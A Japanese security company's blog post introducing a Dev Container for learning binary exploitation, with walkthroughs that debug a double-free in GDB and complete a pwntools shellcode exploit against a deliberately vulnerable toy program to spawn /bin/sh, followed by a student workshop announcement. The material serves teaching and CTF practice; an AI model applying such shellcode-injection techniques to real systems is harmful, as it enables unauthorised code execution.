こんにちは、技術統括部の松隈です。
※本記事の最後にBinary Exploitationに興味をお持ちな学生のあなたへ向けたおもしろイベント情報の告知が待ってます。ぜひご覧ください!
はじめに
人々がBinary Exploitationの道を志すきっかけは実に様々です。CTFに参加する中でPwnを始めたり、並々ならぬ理由によりエクスプロイト開発を強いられたりと、日常生活の至るところに入門の機会が潜んでいます。
しかし、いざBinary Exploitationを始めようと思っても、手元にexploit作成の環境が無ければせっかくのモチベーションや危機感も消失しますよね。
「シュッと立ち上がらないなら作ってしまおう」というわけで、プロトタイプレベルですがDev Containerを活用して作ってみました。
本記事のスコープ
本記事はBinary Exploitationに興味をお持ちの方を対象とし、exploit作成の雰囲気とシェル奪取の快感を味わっていただけるように以下の内容をカバーします。
- Pwn向けDev Container環境であるCyberDefenseInstitute/vscode-pwn-dev-containerの紹介
- vscode-pwn-dev-containerの利用例
- Glibcのソースコードを伴ったデバッグ
- Pwntoolsを使ったexploitコードの作成/修正
なお、vscode-pwn-dev-containerの操作感は実際にお試しいただくのが早いですが、参考までに以下にスクリーンショットも示します。
- VS Codeでexploitの動作を確認する様子
- pwndbgでglibcのソースコードを表示する様子
この記事を読みながら以下の要領で実際に手を動かしていただくと、すぐにBinary Exploitationを始められる環境が(数分のビルドの後に)シュッと立ち上がります。
- vscode-pwn-dev-containerはリポジトリを
git clone
する - 当該ディレクトリをVS Codeで開く
- "Rebuild and Reopen in Container"する
用語
さて、本記事では日常生活では見慣れない用語が飛び交うため、予めふわっとした説明を挟んでおきます。かなり雰囲気で書いているため、適度に読み流していただけると幸いです!
Exploit
Exploitは文脈によって意味が異なる言葉ですが、攻撃コードや脆弱性攻撃それ自体を指すことが多いです。(脆弱性の)「利用」と考えるとニュアンスが伝わりますかね?
Binary Exploitation
Binary Exploitationは脆弱性攻撃分野のひとつで、主にメモリ破壊の脆弱性を取り扱うものです。パズルみたいでおもしろいし、めっちゃ頑張ると脆弱性報告とかでお金持ちになれるらしいです。すごいですね。
Pwn
Pwn(able)はCTFにおける問題ジャンルのひとつです。CTF運営はメモリ破壊の脆弱性が埋め込まれた問題のプログラムをサービスとしてホストするため、プレイヤーはリモートコード実行や権限昇格等でフラグの奪取を狙います。そのため、プレイヤーには概ね以下の要素が求められると言えます。
- 脆弱性の特定: GDBなどによる問題プログラムの解析、ソースコード解析
- 脆弱性の利用: Exploitコードの作成、Exploitコードのデバッグ
Dev Container
Dev(elopment) Containerは文字通りコンテナ化された開発環境です。Development ContainersのOverviewによると、CIとテストのような独立した環境としても使えるそうですが、今回はPythonによるexploit作成向けのコーディング環境として利用します。
CyberDefenseInstitute/vscode-pwn-dev-container
改めてCyberDefenseInstitute/vscode-pwn-dev-containerを紹介します。
これはexploit作成を手軽に始めるためのDev Container環境であり、本記事の公開時点で次の機能やツールを提供します。
- Python 3.13.5 (via uv)
- GDB 15.0 (15.0.50.20240403-0ubuntu1)
- Pwndbg 2025.05.30
- 各種ライブラリのシンボルやソースコード
- GNU C Library (libc6)
- GNU C++ Library (libstdc++6)
- 便利なPythonパッケージ
- ipython
- pwntools
- ropper
- z3-solver
なお、Dockerのベースイメージはubuntu:24.04
です。
動作確認は以下のソフトウェアがインストールされているLinux環境で行いました。
- Visual Studio Code 1.100.3
- Dev Containers 0.417.0
- Docker version 28.2.2, build e6534b4eb7
- Docker Compose version 2.37.1
- alacritty 0.15.1 (0c405d53)
vscode-pwn-dev-containerのビルド
まずは、以下の手順でvscode-pwn-dev-containerをビルドします。
-
VS Codeで当該のディレクトリを開く
-
Command Paletteから"Rebuild and Reopen in Container"を選択する
-
VS Codeまたは以下のコマンドでコンテナの/workspaceを開く
docker exec -w /workspace -i -t pwn-dev-container-ubuntu24.04 bash
初回起動はDockerイメージのビルドとglibc等ファイルの取得で時間を要します。vscode-pwn-dev-containerの利用例紹介はハンズオン形式となっているため、このタイミングでお供のコーヒー/紅茶/緑茶/(任意の飲食物)を準備しておくのがオススメです☕
なお、手順(3)でVS Codeから/workspaceを開いた場合は、次のような状態になっていれば無事に起動できています。
ターミナルで/workspaceを開いた場合は、次のような状態になっていることを期待します。
利用例 #1: Glibcのソースコードを伴うデバッグ
まずは、CTFでPwnの問題を解くときにも重宝するglibcのソースコード付きデバッグです。ヒープ問の場合はmalloc()
とfree()
の内部動作が非常に重要になりますが、シンボルやソースコードが無いとかなり魔窟なので、exploitのデバッグ時に咽び泣いて問題を投げ出す羽目になることが多いです(筆者談)(n=1)。
本コンテナにはglibcのソースコードが入っており、/home/player/.config/gdb/gdbinitでソースコードのパスをset substitute-path
してあります。そこでGDBによるglibcのソースコードの確認をゴールとして、二重解放(CWE-415)があるプログラム"doublefree"の処理を読んでみましょう。
"doublefree"のソースコードを以下に示します。
#include <malloc.h>
int main() {
void *p = malloc(0x18);
free(p);
free(p);
return 0;
}
0. "doublefree"のビルド
まずは、以下の手順でコンテナ内で"doublefree"をビルドします。
-
VS Codeまたは以下のコマンドでコンテナの/workspace/example/doublefreeを開く
-
ターゲットのプログラムをビルドする
make
ここでは次のファイルが生成されていることを期待します。
- doublefree
- (doublefree.o)
1. "doublefree"のデバッグを開始する
以下の手順でGDBからプログラム"doublefree"を実行します。
-
GDBでターゲットのプログラムを起動する
gdb doublefree
-
GDBの
start
コマンドで"doublefree"の実行を開始して、main()
のプロローグ処理後でのブレークを確認するstart
2. 二重解放の様子を観察する
次に、以下の手順で二重解放時のfree(p)
の挙動を観察します。
-
二重解放の箇所にブレークポイントを設定する
break doublefree.c:6
-
二重解放の箇所でブレークすることを確認する
continue
-
二重解放時の
free()
について、満足するまで処理を読む
意図した通り、GDBからglibcのソースコードが確認できていますね。これでもう咽び泣かないでglibcのコードを読めますね。
利用例 #2: Pwntoolsでシェルコード実行のExploitを書く
次は、Pwntoolsを使用したexploit作成を体験するために、CTF-likeなx86プログラム"gimme32"を題材にexploitのデバッグをしてみます。
"gimme32"のソースコードを以下に示します。
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
#define MAX_SIZE 0x1000
int main() {
void *rwx_map = mmap(NULL, MAX_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
if (rwx_map == MAP_FAILED) {
return -1;
}
write(STDOUT_FILENO, "Gimme size: ", strlen("Gimme size: "));
size_t bytes_to_read = 0;
ssize_t bytes_read = read(STDIN_FILENO, &bytes_to_read, sizeof(bytes_to_read));
if (bytes_read != sizeof(bytes_to_read) || bytes_to_read > MAX_SIZE) {
return -1;
}
write(STDOUT_FILENO, "Gimme code: ", strlen("Gimme code: "));
bytes_read = read(STDIN_FILENO, rwx_map, bytes_to_read);
if (bytes_read != bytes_to_read) {
return -1;
}
if (memcmp(rwx_map, "H@CK", 4) == 0) {
write(STDOUT_FILENO, "Running...\n", strlen("Running...\n"));
((void (*)())rwx_map)();
}
write(STDOUT_FILENO, "Bye.\n", strlen("Bye.\n"));
return 0;
}
0. main()
の処理を確認する
引き続き、"gimme32"におけるmain()
の処理を確認していきます。処理の流れは以下の通りです。
-
RWX(読み/書き/実行が可能)なページをマップする
void *rwx_map = mmap(NULL, MAX_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); if (rwx_map == MAP_FAILED) { return -1; }
-
データサイズを受け取る
write(STDOUT_FILENO, "Gimme size: ", strlen("Gimme size: ")); size_t bytes_to_read = 0; ssize_t bytes_read = read(STDIN_FILENO, &bytes_to_read, sizeof(bytes_to_read)); if (bytes_read != sizeof(bytes_to_read) || bytes_to_read > MAX_SIZE) { return -1; }
-
「コード」をRWXなページに書き込む
write(STDOUT_FILENO, "Gimme code: ", strlen("Gimme code: ")); bytes_read = read(STDIN_FILENO, rwx_map, bytes_to_read); if (bytes_read != bytes_to_read) { return -1; }
-
一定の条件を満たす場合にRWXなページの「コード」を実行する
if (memcmp(rwx_map, "H@CK", 4) == 0) { write(STDOUT_FILENO, "Running...\n", strlen("Running...\n")); ((void (*)())rwx_map)(); }
以上のことから、gimme32はユーザーからx86のネイティブコードを受け取り、「一定の条件」を満たしている場合に実行するプログラムと分かります。
CTFの問題として捉えると、これはとても古典的なシェルコード問題と言えます。となると、フラグを取るために「『一定の条件』を満たしたシェルコード」を投げつけてシェルを奪取したくなってきます。
0.5. "gimme32"をビルドする
まずは、以下の手順でコンテナ内で"gimme32"をビルドします。
-
VS Codeまたは以下のコマンドでコンテナの/workspace/example/gimme32を開く
-
ターゲットのプログラムをビルドする
make
ここでは次のファイルが生成されていることを期待します。
- gimme32
- (gimme32.o)
1. 作成途中のexploitを実行する
本記事はタイトルにある通り「体験する」ことに主軸を置いているため、作成途中(WIP)のgimme32に対するexploitコード(wip_exploit_gimme32.py)の動作を検証してみます。
まずは実行してみましょう。
-
作成途中のexploitコードの動作を確認する
python3 wip_exploit_gimme32.py
作成途中のためシェルの奪取に失敗しています。なんということでしょうか!
2. exploitをデバッグする
続いて、GDBでgimme32にアタッチして挙動を確認しながら、以下の手順でwip_exploit_gimme32.pyをデバッグしてみます。
-
ホスト側のターミナルから以下のコマンドを実行して、コンテナ内に新しいtmuxセッションを作る
docker exec -i -t -w /workspace/example/gimme32 pwn-dev-container-ubuntu24.04 tmux
-
venvを有効化する
source /workspace/.venv/bin/activate
-
以下のコマンドでexploitを実行しながら、GDBでターゲットのプロセスにアタッチする
python3 wip_exploit_gimme32.py ATTACH
- このとき、tmuxのウィンドウが2つのペインに分かれており、exploitが"Waiting for debugger..."のメッセージとともにユーザーの入力待ちになっていることを確認する。
-
bytes_read = read(STDIN_FILENO, rwx_map, bytes_to_read)
の箇所にブレークポイントを設定するbreak gimme32.c:21
-
ターゲットプロセスの実行を継続する
continue
-
exploit側のペインで改行を含む文字入力を行って、exploitの実行を継続する
-
GDBの
nexti
コマンドなどで実行を継続して、満たすべき「一定の条件」を探す「一定の条件」の解答
if (memcmp(rwx_map, "H@CK", 4) == 0) {
なお、
H@CK
はx86のアセンブリで表すとdec eax; inc eax; inc ecx; dec ecx
であり、NOP命令と等価な処理となる。
3. exploitを修正して実行する
ここまででexploitに適用すべき変更が分かりました。そこで、以下の手順により実際に修正を加えてみましょう。
-
以下のコマンドでexploitをコピーする
cp wip_exploit_gimme32.py exploit_gimme32.py
-
満たすべき「一定の条件」にあわせてexploit_gimme32.pyの処理を変更する
変更例
--- wip_exploit_gimme32.py 2025-06-19 23:32:16.125787201 +0900 +++ exploit_gimme32.py 2025-06-20 14:36:17.080224228 +0900 @@ -3,11 +3,10 @@ context.binary = binary = ELF("gimme32") def hax(shellcode: bytes) -> bytes: - # TODO: Modify shellcode to satisfy the condition + shellcode = b"H@CK" + shellcode return shellcode def exploit() -> None: - # FIXME: Why couldn't pop a shell.. shellcode: bytes = hax(asm(shellcraft.sh())) conn.sendafter(b"Gimme size: ", p32(len(shellcode))) conn.sendafter(b"Gimme code: ", shellcode)
-
修正したexploit.pyを実行して、/bin/shの起動とコマンドの実行を確認する
python3 exploit.py
シェルが立ち上がりました。おめでとうございます!
おわりに
筆者自身もシュッと立ち上がる環境は便利だと思っており、本記事がBinary Exploitation入門者の一助となれば幸いです。
ただ、ご覧のように現時点のvscode-pwn-dev-containerは以下の機能が不足しておりPoCレベルであるため、少しずつ便利にしていければと思っています。
- CTFのPwn問題をDocker Composeでサービス化する機能
- 便利なdebパッケージ/Pythonパッケージ
とはいえ、これで「Pwn、やってみるか〜」となりましたよね。なってください。はい、あなたは今日からPwnerです🎉
「Binary Exploitation Workshop for Students」の告知
さて、ここまで読んでいただいた学生のあなたにお知らせです。
今年の8月に学生向けのイベント「Binary Exploitation Workshop for Students」を開催します!(応募はこちらのフォームから)
本イベントは2日間のワークショップで、Binary Exploitationに入門したり、ミニCTFでPwn精進したり、懇親会で話しながらごはんを食べたりするものになります。
- 👨🏻🏫 イベント名: Binary Exploitation Workshop for Students
- 🏢 開催場所: 株式会社サイバーディフェンス研究所 セミナールーム(東京都千代田区神田駿河台2-5-1 御茶ノ水ファーストビル5階)
- 📅 期間: 2日間
- 1日目 2025年08月21日 (木) 10:00〜20:00 (うち懇親会2時間)
- 2日目 2025年08月22日 (金) 10:00〜19:00
- 📝 実施内容
- Binary Exploit技術のトレーニング(※CDI提供の有償トレーニング『Binary Exploitation Fundamentals』をベースとする)
- Stack-based Buffer OverflowとReturn-oriented Programming (ROP)
- 各種保護機構とそのバイパス
- 演習用CTF-like問題(上級者向けの問題を含む)
- ソーシャルイベント(CDIのリバースエンジニア・エクスプロイト開発者によるLTを含む)
- Binary Exploit技術のトレーニング(※CDI提供の有償トレーニング『Binary Exploitation Fundamentals』をベースとする)
- 🪪 参加資格: 情報セキュリティに興味がある18歳以上の学生(大学生、大学院生、高専生、専門学校生)
- 💴 参加費: 無料
- 👥 募集人数: 12名
- 🥡 参加特典: ワークショップ資料、パーカーをはじめとするCDI謹製のグッズ等
本イベントはBinary Exploitationに興味をお持ちの方を対象とした易しめのワークショップですが、既にCTFでPwnジャンルに取り組んでいる方もきっと楽しめる内容となっています(します…!)。前者の方にはCDIのBinary Exploitationトレーニングを凝縮したコンテンツで学んでいただき、後者の方にはミニCTFで発展的な問題に取り組んでいただければと思います。
そして、以下のような悩みや思いをお持ちの方は特に大歓迎です。
- 「CTFでPwnをやっているけど身近に話の合う仲間がいない!Pwnの人と話したい🥺」
- 「仕事でBinary Exploitationってマジ?どんなターゲットに立ち向かうの?🤔」
リバースエンジニアリングやexploit開発を仕事の主軸にしているエンジニアと会話できる貴重な機会ですので、ご興味のある方はぜひともご応募ください!